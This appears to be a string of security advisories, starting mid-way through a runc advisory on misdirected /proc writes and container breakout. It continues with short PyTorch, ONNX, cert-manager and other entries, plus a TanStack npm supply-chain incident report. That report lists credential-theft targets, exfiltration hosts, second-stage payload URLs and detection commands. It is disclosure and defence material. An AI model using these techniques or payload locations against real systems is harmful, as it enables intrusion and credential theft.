Note that while /proc/self/attr/<label> was the example used above (which is LSM-specific), this issue affect all writes to /proc in runc and thus also affects sysctls (written to /proc/sys/...) and some other APIs.
Additional Impacts ####
While investigating this issue, runc discovered that another risk with these redirected writes is that they could be redirected to dangerous files such as /proc/sysrq-trigger rather than just no-op files like /proc/self/sched. For instance, the default AppArmor profile name in Docker is docker-default, which when written to /proc/sysrq-trigger would cause the host system to crash.
When this was discovered, runc conducted an audit of other write operations within runc and found several possible areas where runc could be used as a semi-arbitrary write gadget when combined with the above race attacks. The most concerning attack scenario was the configuration of sysctls. Because the contents of the sysctl are free-form text, an attacker could use a misdirected write to write to /proc/sys/kernel/corepattern and break out of the container (as described in CVE-2025-31133, kernel upcalls are not namespaced and so coredump helpers will run with complete root privileges on the host). Even if the attacker cannot configure custom sysctls, a valid sysctl string (when redirected to /proc/sysrq-trigger) can easily cause the machine to hang.
Note that the fact that this attack allows you to disable LSM labels makes it a very useful attack to combine with CVE-2025-31133 (as one of the only mitigations available to most users for that issue is AppArmor, and this attack would let you bypass that). However, the misdirected write issue above means that you could also achieve most of the same goals without needing to chain together attacks.
Patches ###
This advisory is being published as part of a set of three advisories:
CVE-2025-31133 CVE-2025-52881 CVE-2025-52565
The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:
db19bbed5348 ("internal/sys: add VerifyInode helper") 6fc191449109 ("internal: move utils.MkdirAllInRoot to internal/pathrs") ff94f9991bd3 (": switch to safer securejoin.Reopen") 44a0fcf685db ("go.mod: update to github.com/cyphar/filepath-securejoin@v0.5.0") 77889b56db93 ("internal: add wrappers for securejoin.Proc") fdcc9d3cad2f ("apparmor: use safe procfs API for labels") ff6fe1324663 ("utils: use safe procfs for /proc/self/fd loop code") b3dd1bc562ed ("utils: remove unneeded EnsureProcHandle") 77d217c7c377 ("init: write sysctls using safe procfs API") 435cc81be6b7 ("init: use securejoin for /proc/self/setgroups") d61fd29d854b ("libct/system: use securejoin for /proc/$pid/stat") 4b37cd93f86e ("libct: align param type for mountCgroupV1/V2 functions") d40b3439a961 ("rootfs: switch to fd-based handling of mountpoint targets") ed6b1693b8b3 ("selinux: use safe procfs API for labels") - Please note that this patch includes a private patch for github.com/opencontainers/selinux that could not be made public through a public pull request (as it would necessarily disclose this embargoed security issue).
The patch includes a complete copy of the forked code and a replace directive (as well as go mod vendor applied), which should still work with downstream build systems. If you cannot apply this patch, you can safely drop it -- some of the other patches in this series should block these kinds of racing mount attacks entirely.
See https://github.com/opencontainers/selinux/pull/237 for the upstream patch. 3f925525b44d ("rootfs: re-allow dangling symlinks in mount targets") a41366e74080 ("openat2: improve resilience on busy systems")
runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc's new release model][RELEASES.md], runc 1.1.x and earlier are no longer supported and thus have not been patched.
[CVE-2025-31133]: https://github.com/opencontainers/runc/security/advisories/GHSA-9493-h29p-rfm2 [CVE-2025-52565]: https://github.com/opencontainers/runc/security/advisories/GHSA-qw9x-cqr3-wc7r [CVE-2025-52881]: https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm [RELEASES.md]: https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md
Mitigations ###
Do not run untrusted container images from unknown or unverified sources.
For the basic no-op attack, this attack allows a container process to run with the same LSM labels as runc. For most AppArmor deployments this means it will be unconfined, and for SELinux it will likely be containerruntimet. Runc has not conducted in-depth testing of the impact on SELinux -- it is possible that it provides some reasonable protection but it seems likely that an attacker could cause harm to systems even with such an SELinux setup.
For the more involved redirect and write gadget attacks, unfortunately most LSM profiles (including the standard container-selinux profiles) provide the container runtime access to sysctl files (including /proc/sysrq-trigger) and so LSMs likely do not provide much protection against these attacks.
Using rootless containers provides some protection against these kinds of bugs (privileged writes in runc being redirected) -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. For this particular bug, the privilege escalation caused by the inadvertent write issue is entirely mitigated with rootless containers because the unprivileged user that the runc process is executing as cannot write to the aforementioned procfs files (even intentionally).
Other Runtimes ###
As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability.
Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a co-ordinated security release along with runc. LXC appears to use the host's /proc for all procfs operations, and so is likely not vulnerable to this issue (this is a trade-off -- runc uses the container's procfs to avoid CVE-2016-9962-style attacks).
[CVE-2016-9962]: https://seclists.org/fulldisclosure/2017/Jan/21
Credits ###
Thanks to Li Fubang (@lifubang from acmcoder.com, CIIC) and Tõnis Tiigi (@tonistiigi from Docker) for both independently discovering this vulnerability, as well as Aleksa Sarai (@cyphar from SUSE) for the original research into this class of security issues and solutions.
Additional thanks go to Tõnis Tiigi for finding some very useful exploit templates for these kinds of race attacks using docker buildx build.
Fulcio is a free-to-use certificate authority for issuing code signing certificates for an OpenID Connect (OIDC) identity. Prior to 1.8.3, function identity.extractIssuerURL splits (via a call to strings.Split) its argument (which is untrusted data) on periods. As a result, in the face of a malicious request with an (invalid) OIDC identity token in the payload containing many period characters, a call to extractIssuerURL incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. This vulnerability is fixed in 1.8.3.
A vulnerability, which was classified as problematic, has been found in PyTorch 2.6.0+cu124. Affected by this issue is the function torch.mkldnnmaxpool2d. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.
Description I found a Remote Command Execution (RCE) vulnerability in PyTorch. When loading model using torch.load with weightsonly=True, it can still achieve RCE.
Background knowledge https://github.com/pytorch/pytorch/security As you can see, the PyTorch official documentation considers using torch.load() with weightsonly=True to be safe. !image Since everyone knows that weightsonly=False is unsafe, so they will use the weightsonly=True to mitigate the seucirty issue. But now, I just proved that even if you use weightsonly=True, it can still achieve RCE.
Credit This vulnerability was found by Ji'an Zhou.
A vulnerability, which was classified as problematic, was found in PyTorch 2.6.0. Affected is the function torch.nn.functional.ctcloss of the file aten/src/ATen/native/LossCTC.cpp. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The name of the patch is 46fc5d8e360127361211cb237d5f9eef0223e567. It is recommended to apply a patch to fix this issue.
Pytorch before v2.2.0 has an Out-of-bounds Read vulnerability via the component torch/csrc/jit/mobile/flatbufferloader.cpp.
Pytorch before version v2.2.0 was discovered to contain a use-after-free vulnerability in torch/csrc/jit/mobile/interpreter.cpp.
PyTorch before v2.2.0 was discovered to contain a heap buffer overflow vulnerability in the component /runtime/varargfunctions.cpp. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted input.
Use of hard coded credentials in GoHarbor Harbor version 2.15.0 and below, allows attackers to use the default password and gain access to the web UI.
Summary The issue is in onnx.load — the code checks for symlinks to prevent path traversal, but completely misses hardlinks, which is the problem, since a hardlink looks exactly like a regular file on the filesystem.
The Real Problem The validator in onnx/checker.cc only calls issymlink() and never checks the inode or stnlink, so a hardlink walks right through every security check without any issues.
Impact Especially dangerous in AI supply chain scenarios like HuggingFace — a single malicious model is enough to silently steal secrets from the victim's machine without them noticing anything.
Summary
On 2026-05-11, between approximately 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/ packages were published to the npm registry. The publishes were authenticated via the legitimate GitHub Actions OIDC trusted-publisher binding for TanStack/router, but the publish workflow itself was not modified. The attacker chained three known vulnerability classes — a pullrequesttarget "Pwn Request" misconfiguration, GitHub Actions cache poisoning across the fork↔base trust boundary, and runtime memory extraction of the OIDC token from the Actions runner process — to publish credential-stealing malware under a trusted identity.
Each affected package received exactly two malicious versions, published a few minutes apart.
Impact
A user installing any affected version executes a payload (~2.3 MB obfuscated routerinit.js) at install time that:
- Harvests credentials from common locations: - AWS instance metadata (IMDS) and Secrets Manager - GCP metadata service - Kubernetes service-account tokens - HashiCorp Vault tokens - ~/.npmrc (npm tokens) - GitHub tokens (env vars, gh CLI config, .git-credentials) - SSH private keys (~/.ssh/) - Exfiltrates harvested data over the Session/Oxen messenger file-upload network (filev2.getsession.org, seed{1,2,3}.getsession.org). This is end-to-end encrypted with no attacker-controlled C2, so blocking by IP or domain is the only network mitigation. - Enumerates packages that the victim maintains via registry.npmjs.org/-/v1/search?text=maintainer:<user> and republishes them with the same injection, propagating the compromise across npm.
Any developer or CI environment that ran npm install, pnpm install, or yarn install against an affected version on 2026-05-11 should be considered compromised. All credentials accessible to the install process should be rotated immediately. Cloud audit logs should be reviewed for activity originating from the affected hosts during and after the install window.
Detection
Inspect the published manifest of any pinned @tanstack/ version. Malicious manifests contain this exact optionalDependencies entry:
json "optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }
To check a version without running install scripts:
bash npm pack @tanstack/<name>@<version> # downloads tarball; does NOT execute lifecycle scripts tar -xzf .tgz grep -A3 optionalDependencies package/package.json ls -la package/routerinit.js # malicious payload, ~2.3 MB, present at package root
The payload file routerinit.js is approximately 2.3 MB of obfuscated JavaScript. It is placed at the tarball root and is intentionally not declared in the package's "files" array, so it does not appear in the package's documented contents.
Mechanism
@tanstack/setup is not a real package on the npm registry. The github:tanstack/router#79ac49ee... specifier resolves to an orphan commit pushed to a fork in the tanstack/router GitHub fork network. GitHub serves commits across the entire fork network for git-URL dependencies, so the attacker did not require write access to TanStack/router itself — only the ability to fork and push to their own fork.
When npm processes the optional dependency, it:
1. Fetches the orphan commit from the fork network. 2. Installs the commit's declared dependencies (which include a real bun binary). 3. Runs the commit's prepare lifecycle script: bun run tanstackrunner.js && exit 1. The trailing exit 1 causes the optional install to fail, after which npm silently discards it — leaving no nodemodules trace. 4. The tanstackrunner.js script in turn executes routerinit.js from the host package's tarball.
Patches
Affected versions are being deprecated on npm with a SECURITY: notice. Where npm policy allows (no existing third-party dependents), affected versions are also being unpublished. The npm security team has been engaged to pull tarballs server-side for versions that cannot be unpublished.
Clean follow-up releases are being prepared. Update to the patched version listed in the affected-products table for each package, then reinstall from a clean lockfile.
Workarounds
Until clean follow-up releases are available:
- Pin every @tanstack/ dependency to a known-good version published before 2026-05-11 19:00 UTC. The last known-good version for most affected packages was published on 2026-03-15. - Delete nodemodules and the lockfile, then reinstall to ensure no transitive dependency resolves to a malicious version. - Configure npm to skip lifecycle scripts on install (npm config set ignore-scripts true) as a temporary defense-in-depth measure. - For CI, audit any pipeline that ran install against @tanstack/ between 19:20 and 19:30 UTC on 2026-05-11. Treat the runner as compromised and rotate any secrets it had access to.
Indicators of compromise
| Indicator | Value | |---|---| | Malicious git ref | github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c | | Fictitious package name | @tanstack/setup | | Payload filename | routerinit.js (~2.3 MB, package root, undeclared in files) | | Helper filename in orphan commit | tanstackrunner.js | | Exfiltration network | filev2.getsession.org, seed1.getsession.org, seed2.getsession.org, seed3.getsession.org | | Second-stage payload URLs | https://litter.catbox.moe/h8nc9u.js, https://litter.catbox.moe/7rrc6l.mjs | | Poisoned cache key | Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11 | | Publish window (UTC) | 2026-05-11 19:20 — 19:26 | | Publish mechanism | GitHub Actions OIDC trusted publisher (oidc:db7d6f54-05d5-412b-8a10-e7a8398b303e) | | Workflow runs | https://github.com/TanStack/router/actions/runs/25613093674 (attempt 4), https://github.com/TanStack/router/actions/runs/25691781302 | | Attacker GitHub accounts | zblgg (id 127806521), voicproducoes (id 269549300) | | Attacker fork (renamed to evade detection) | https://github.com/zblgg/configuration |
Credits
- The security researcher who initially disclosed the vulnerability publicly with detailed analysis at https://github.com/TanStack/router/issues/7383
References
- Public incident tracking issue: https://github.com/TanStack/router/issues/7383 - Related research: - Adnan Khan, "The Monsters in Your Build Cache: GitHub Actions Cache Poisoning" (May 2024) - GitHub Security Lab, "Keeping your GitHub Actions and workflows secure: Preventing Pwn Requests" - StepSecurity, "tj-actions/changed-files action is compromised" (March 2025) — the malicious payload reuses this incident's runner-memory extraction technique verbatim
cert-manager adds certificates and certificate issuers as resource types in Kubernetes clusters, and simplifies the process of obtaining, renewing and using those certificates. From 1.18.0 until 1.19.6 and 1.20.3, Challenge resources under acme.cert-manager.io can be created directly by namespace users without admission validation tying the Challenge to an Order, owner reference, or Issuer-selected solver, allowing attacker-controlled Challenge.spec.solver values referencing a ClusterIssuer to bypass DNS01 solver selectors such as dnsZones, dnsNames, and matchLabels and cause cert-manager to use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names, including disclosure of X-Api-User and X-Api-Key headers for acme-dns. This issue is fixed in versions 1.19.6 and 1.20.3.
Impact
An unauthenticated remote attacker can trigger unbounded memory growth on the timestamp authority server.
This vulnerability exists because the global wrapMetrics middleware records the raw HTTP request path (r.URL.Path) and raw HTTP request method (r.Method) as Prometheus labels for latency and request count metric vectors. Since this middleware runs before standard routing occurs, it executes for all incoming requests, including those for unmatched paths (yielding 404 responses) or arbitrary request methods. The Prometheus library registers a new, permanent time-series entry for every distinct label combination. An attacker can continuously issue requests containing random paths (e.g., /api/v1/timestamp/<uuid>) or random HTTP methods to exhaust system memory.
Patches
This issue has been patched by limiting the metric label values to a strict allowlist of expected paths (/ping, /api/v1/timestamp, /api/v1/timestamp/certchain) and expected HTTP methods (GET, POST, HEAD, OPTIONS). Unrecognized paths or methods are normalized to a static string ("unrecognized").
Users should update to version v2.0.7 or later.
Workarounds
1. Block or drop incoming requests with invalid HTTP methods or unknown request paths at a reverse proxy or load balancer before they reach the timestamp authority server. 2. Configure rate-limiting on the public interface to prevent remote attackers from issuing millions of unique requests in a short duration.
OpenTelemetry Java Instrumentation JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.27.0, the RMI context propagation payload reader limits the number of context entries but does not limit the aggregate size of the strings read from the stream. An attacker who can reach an RMI endpoint on an instrumented JVM can send an oversized context propagation payload. This can cause excessive memory allocation while the JVM reads the payload, potentially leading to denial of service. The issue affects only deployments where RMI instrumentation is enabled and an RMI endpoint is network-reachable. This issue has been fixed in version 2.27.0.
Podman Desktop is a graphical tool for developing on containers and Kubernetes. Prior to 1.26.2, an unauthenticated HTTP server exposed by Podman Desktop allows any network attacker to remotely trigger denial-of-service conditions and extract sensitive information. By abusing missing connection limits and timeouts, an attacker can exhaust file descriptors and kernel memory, leading to application crash or full host freeze. Additionally, verbose error responses disclose internal paths and system details (including usernames on Windows), aiding further exploitation. The issue requires no authentication or user interaction and is exploitable over the network. This vulnerability is fixed in 1.26.2.